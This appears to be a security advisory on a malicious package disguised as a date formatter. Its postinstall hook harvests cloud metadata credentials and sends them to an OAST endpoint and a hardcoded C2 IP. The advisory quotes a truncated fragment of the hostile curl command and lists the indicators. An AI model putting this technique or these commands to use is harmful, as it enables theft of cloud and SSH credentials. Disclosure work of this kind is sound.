GCVE-110-OSM-2026-9559

This package is a cloud credential harvester. The postinstall script explicitly queries all major cloud provider IMDS endpoints (AWS 169.254.169.254, Alibaba 100.100.100.200, Tencent metadata.tencentyun.com, and a secondary Tencent 169.254.0.23), saves the results to /tmp, then POSTs the combined output to an OAST exfiltration endpoint (ycrqyyjhwepdmhjifyccxss1hrks8lcd2.oast.fun/metadata). A second POST exfiltrates directory listings of /data/ to the same OAST operator. The postinstall.js additionally collects os.userInfo() and os.platform() and contacts a hardcoded C2 IP (124.221.154.135). Chinese-language comments in postinstall.js explicitly describe SSH key theft as a target. The package name 'simple-date-formatter-util-2' is a hollow cover — the index.js contains only a trivial date formatter stub to appear legitimate. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "curl -s -m 3 http://100.100.100.200/latest/meta-data/ -o /tmp/al..." DESTINATION - 9 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: ".oast.fun" - Suspicious Domain in package.json: "oast.fun" - Network Request in postinstall.js: "https.request(" - System Information Collection in postinstall.js: "os.userInfo()" PAYLOAD FILES postinstall.js